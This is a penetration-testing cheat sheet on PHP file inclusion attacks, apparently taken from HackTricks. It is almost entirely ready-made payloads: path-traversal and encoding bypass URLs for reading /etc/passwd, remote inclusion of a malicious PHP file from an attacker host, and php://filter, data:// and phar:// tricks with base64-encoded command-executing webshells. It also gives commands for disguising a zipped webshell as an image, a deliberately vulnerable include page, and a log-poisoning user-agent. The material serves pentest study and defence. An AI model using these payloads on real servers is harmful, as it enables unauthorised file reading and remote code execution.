File inclusion
Remote File Inclusion (RFI): The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is disabled by default (allow_url_include).
Local File Inclusion (LFI): The sever loads a local file.
The vulnerability occurs when the user can control in some way the file that is going to be load by the server.
Vulnerable PHP functions: require, require_once, include, include_once
PHP Assertion
- http://target.local/index.php?page=' and die(show_source('/etc/passwd')) or '
Basic LFI and bypasses
traversal sequences stripped non-recursively
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
Null byte (%00)
Bypass the append more chars at the end of the provided string (bypass of: $_GET['param']."php")
This is solved since PHP 5.4Encoding
You could use non-standard encondings like double URL encode (and others):
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
From existent folder
Maybe the back-end is checking the folder path:
Path truncation
Bypass the append of more chars at the end of the provided string (bypass of: $_GET['param']."php")
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
Filter bypass tricks
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
Basic RFI
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
Top 25 parameters
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
LFI / RFI using PHP wrappers & protocols
php://filter
PHP filters allow perform basic modification operations on the data before being it's read or written.
There are 5 categories of filters:
String filters - string.rot13 - string.toupper - string.tolower - string.strip_tags: Remove tags from the data (everything between "<" and ">" chars) - Note that this filter has disappear from the modern versions of PHP
Conversion Filters - convert.base64-encode - convert.base64-decode - convert.quoted-printable-encode - convert.quoted-printable-decode - convert.iconv.* : Transforms to a different encoding(convert.iconv.
Compression Filters - zlib.deflate: Compress the content (useful if exfiltrating a lot of info) - zlib.inflate: Decompress the data
Encryption Filters - mcrypt. : Deprecated - mdecrypt. : Deprecated
Other Filters - Running in php var_dump(stream_get_filters()); you can find a couple of unexpected filters: - consumed - dechunk: reverses HTTP chunked encoding - convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/read=string.rot13/resource=http%3A%2F%2F10.8.6.103%2Fconfig.php");
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");
# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");
# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
example
- http://11.22.33.44/item.php?file=data:text/plain,hello world
- http://11.22.33.44/item.php?file=data:text/plain,<?php echo shell_exec("id") ?>
php://fd
This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:
You can also use php://stdin, php://stdout and php://stderr to access the file descriptors 0, 1 and 2 respectively (not sure how this could be useful in an attack)zip:// and rar://
Upload a Zip or Rar file with a PHPShell inside and access it. In order to be able to abuse the rar protocol it need to be specifically activated.
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
http://example.com/index.php?page=zip://shell.jpg%23payload.php
# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php
data://
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
expect://
Expect has to be activated. You can execute code using this.
input://
Specify your payload in the POST parameters
phar://
A .phar file can be also used to execute PHP code if the web is using some function like include to load the file.
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();
If the LFI is just reading the file and not executing the php code inside of it, for example using functions like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). You can try to abuse a deserialization occurring when reading a file using the phar protocol.
More protocols
- php://memory and php://temp — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
- file:// — Accessing local filesystem
- http:// — Accessing HTTP(s) URLs
- ftp:// — Accessing FTP(s) URLs
- zlib:// — Compression Streams
- glob:// — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
- ssh2:// — Secure Shell 2
- ogg:// — Audio streams (Not useful to read arbitrary files)
Php example for discussion
index.php?page-name=contact.php index.php?page-name=/etc/passwd index.php?page-name=/var/www/html/wp/media/profile.jpg index.php?page-name=/var/www/html/wp/media/webshell.php index.php?page-name=/var/log/apache/apache-log.txt index.php?page-name=http://michalszalkowski.com/webshell.php.txt
index.php
<html>
<body>
<h1>Home page!</h1>
<section>
<?php include $_GET['page-name'];?>
</section>
<?php include 'footer.php';?>
</body>
</html>
about-us.php
footer.php
contact.php
apache-log.txt
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) <pre><?php echo shell_exec($_REQUEST["cmd"]) ?></pre> Gecko/20100101 Firefox/117.0
Source of that
https://book.hacktricks.xyz/pentesting-web/file-inclusion